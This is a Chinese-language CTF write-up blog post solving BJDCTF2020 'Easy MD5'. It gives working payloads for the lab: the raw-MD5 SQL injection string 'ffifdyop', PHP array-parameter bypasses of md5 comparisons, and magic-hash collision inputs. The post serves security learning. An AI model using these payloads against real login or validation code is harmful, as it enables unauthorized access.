BJDCTF2020 Easy MD5


[BJDCTF2020]Easy MD5

查看源码

<form class="upload" action="leveldo4.php" method="GET">
                  <input type="text" id="name" name='password' class="in">
                  <input type="submit" class="give">
              </form>

提交一个值抓包试试

发现响应头中有hint

Hint: select * from 'admin' where password=md5($pass,true)

这里考察md5的知识

md5($pass,true)返回$pass md5的16进制内容,输出解析就形成

'or'6XXXX

被sql语句解析,就能形成拼接

payload
password=ffifdyop

拼接后:select * from 'admin' where password=''or'6XXXX'即可绕过

进入levels91.php Do You Like MD5?查看源码


<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

这里又考察哈希碰撞,也可以用[]绕过 == !=

payload
a[]=1&b[]=2
or
a=s878926199a&b=s155964671a

得到源码

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

这里一样,md5[]绕过 === !==

payload
param1[]=1&param2[]=2

得到flag


文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
评论
  目录